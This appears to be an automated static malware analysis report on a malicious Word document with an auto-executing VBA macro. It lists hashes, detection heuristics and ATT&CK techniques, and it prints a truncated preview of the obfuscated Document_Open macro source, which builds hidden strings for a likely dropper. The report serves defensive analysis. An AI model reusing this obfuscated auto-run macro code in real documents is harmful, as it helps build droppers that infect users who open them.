Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 40ffcbf044ec9512…

MALICIOUS

Office (OLE)

515.0 KB Created: 2018-05-01 09:53:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: 59502e209aedf80e170e653306ca1553 SHA-1: 680fdada9f598f57f774f285dbfea5c383dc5b03 SHA-256: 40ffcbf044ec951242a92a09b6a239183def2e74fc18e5975fa70e849d875a2e
264 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1140 Deobfuscate or Obfuscate Malicious Code

The sample is a Microsoft Word document containing VBA macros, specifically a Document_Open macro designed to execute automatically. The document body contains a lure instructing the user to enable editing and content, a common tactic for macro-based malware. The VBA script constructs a string, likely a URL or command, through extensive concatenation of obfuscated values, which is then likely used to download and execute a second-stage payload. The ClamAV detection and heuristic firings strongly indicate malicious intent.

Heuristics 9

  • ClamAV: Doc.Malware.Valyria-10015839-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10015839-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 157094 bytes
SHA-256: f368ee1f0f2b1438e1ff10a529910106a3e0f52a4c7edd622be15870e38d6d4d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 170 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "CommandButton1, 1, 0, MSForms, CommandButton"
Attribute VB_Control = "TextBox1, 0, 1, MSForms, TextBox"

Option Explicit
Sub Document_Open()
On Error Resume Next


Dim YajA, RAJL, SfDY As String
YajA = UTjI(Vbwe)
RAJL = UTjI(oqrn)
SfDY = UTjI(UIlH)


Dim PjNp As String
PjNp = cJvL(VtLu(54, 101))
PjNp = dATr(PjNp, cJvL(VtLu(7, 100)))
PjNp = dATr(PjNp, cJvL(VtLu(202, 184)))
PjNp = dATr(PjNp, cJvL(VtLu(185, 208)))
PjNp = dATr(PjNp, cJvL(VtLu(9, 121)))
PjNp = dATr(PjNp, cJvL(VtLu(255, 139)))
PjNp = dATr(PjNp, cJvL(VtLu(185, 208)))
PjNp = dATr(PjNp, cJvL(VtLu(167, 201)))
PjNp = dATr(PjNp, cJvL(VtLu(247, 144)))
PjNp = dATr(PjNp, cJvL(VtLu(186, 148)))
PjNp = dATr(PjNp, cJvL(VtLu(125, 59)))
PjNp = dATr(PjNp, cJvL(VtLu(185, 208)))
PjNp = dATr(PjNp, cJvL(VtLu(72, 36)))
PjNp = dATr(PjNp, cJvL(VtLu(113, 20)))
PjNp = dATr(PjNp, cJvL(VtLu(54, 101)))
PjNp = dATr(PjNp, cJvL(VtLu(116, 13)))
PjNp = dATr(PjNp, cJvL(VtLu(230, 149)))
PjNp = dATr(PjNp, cJvL(VtLu(255, 139)))
PjNp = dATr(PjNp, cJvL(VtLu(113, 20)))
PjNp = dATr(PjNp, cJvL(VtLu(235, 134)))
PjNp = dATr(PjNp, cJvL(VtLu(201, 134)))
PjNp = dATr(PjNp, cJvL(VtLu(65, 35)))
PjNp = dATr(PjNp, cJvL(VtLu(213, 191)))
PjNp = dATr(PjNp, cJvL(VtLu(113, 20)))
PjNp = dATr(PjNp, cJvL(VtLu(7, 100)))
PjNp = dATr(PjNp, cJvL(VtLu(255, 139)))

Dim jDHQ As String
jDHQ = YajA
Dim RqIm As String
RqIm = ""
RqIm = dATr(RqIm, cJvL(VtLu(228, 167)))
RqIm = dATr(RqIm, cJvL(VtLu(142, 180)))
RqIm = dATr(RqIm, "\")
RqIm = dATr(RqIm, cJvL(VtLu(112, 32)))
RqIm = dATr(RqIm, cJvL(VtLu(202, 184)))
RqIm = dATr(RqIm, cJvL(VtLu(164, 203)))
RqIm = dATr(RqIm, cJvL(VtLu(247, 144)))
RqIm = dATr(RqIm, cJvL(VtLu(202, 184)))
RqIm = dATr(RqIm, cJvL(VtLu(3, 98)))
RqIm = dATr(RqIm, cJvL(VtLu(235, 134)))
RqIm = dATr(RqIm, cJvL(VtLu(107, 47)))
RqIm = dATr(RqIm, cJvL(VtLu(3, 98)))
RqIm = dATr(RqIm, cJvL(VtLu(255, 139)))
RqIm = dATr(RqIm, cJvL(VtLu(3, 98)))
RqIm = dATr(RqIm, "\")
RqIm = dATr(RqIm, cJvL(VtLu(116, 35)))
RqIm = dATr(RqIm, cJvL(VtLu(185, 208)))
RqIm = dATr(RqIm, cJvL(VtLu(167, 201)))
RqIm = dATr(RqIm, cJvL(VtLu(92, 56)))
RqIm = dATr(RqIm, cJvL(VtLu(164, 203)))
RqIm = dATr(RqIm, cJvL(VtLu(182, 193)))
RqIm = dATr(RqIm, cJvL(VtLu(230, 149)))
RqIm = dATr(RqIm, cJvL(VtLu(107, 47)))
RqIm = dATr(RqIm, cJvL(VtLu(113, 20)))
RqIm = dATr(RqIm, cJvL(VtLu(216, 190)))
RqIm = dATr(RqIm, cJvL(VtLu(113, 20)))
RqIm = dATr(RqIm, cJvL(VtLu(167, 201)))
RqIm = dATr(RqIm, cJvL(VtLu(92, 56)))
RqIm = dATr(RqIm, cJvL(VtLu(113, 20)))
RqIm = dATr(RqIm, cJvL(VtLu(202, 184)))
RqIm = dATr(RqIm, cJvL(VtLu(54, 101)))
RqIm = dATr(RqIm, cJvL(VtLu(113, 20)))
RqIm = dATr(RqIm, cJvL(VtLu(202, 184)))
RqIm = dATr(RqIm, cJvL(VtLu(122, 12)))
RqIm = dATr(RqIm, cJvL(VtLu(185, 208)))
RqIm = dATr(RqIm, cJvL(VtLu(7, 100)))
RqIm = dATr(RqIm, cJvL(VtLu(113, 20)))
RqIm = dATr(RqIm, cJvL(VtLu(186, 148)))
RqIm = dATr(RqIm, cJvL(VtLu(185, 208)))
RqIm = dATr(RqIm, cJvL(VtLu(167, 201)))
RqIm = dATr(RqIm, cJvL(VtLu(185, 208)))

Module1.bUkw RqIm, jDHQ, PjNp

Dim TvdG As String
TvdG = ""
TvdG = dATr(TvdG, cJvL(VtLu(228, 167)))
TvdG = dATr(TvdG, cJvL(VtLu(142, 180)))
TvdG = dATr(TvdG, "\")
TvdG = dATr(TvdG, cJvL(VtLu(112, 32)))
TvdG = dATr(TvdG, cJvL(VtLu(202, 184)))
TvdG = dATr(TvdG, cJvL(VtLu(164, 203)))
TvdG = dATr(TvdG, cJvL(VtLu(247, 144)))
TvdG = dATr(TvdG, cJvL(VtLu(202, 184)))
TvdG = dATr(TvdG, cJvL(VtLu(3, 98)))
TvdG = dATr(TvdG, cJvL(VtLu(235, 134)))
TvdG = dATr(TvdG, cJvL(VtLu(107, 47)))
TvdG = dATr(TvdG, cJvL(VtLu(3, 98)))
TvdG = dATr(TvdG, cJvL(VtLu(255, 139)))
TvdG = dATr(TvdG, cJvL(VtLu(3, 98)))
TvdG = dATr(TvdG, "\")
TvdG = dATr(TvdG, cJvL(VtLu(6, 67)))
TvdG = dATr(TvdG, cJvL(VtLu(122, 12)))
TvdG = dATr(TvdG, cJvL(VtLu(113, 20)))
TvdG = dATr(TvdG, cJvL(V
... (truncated)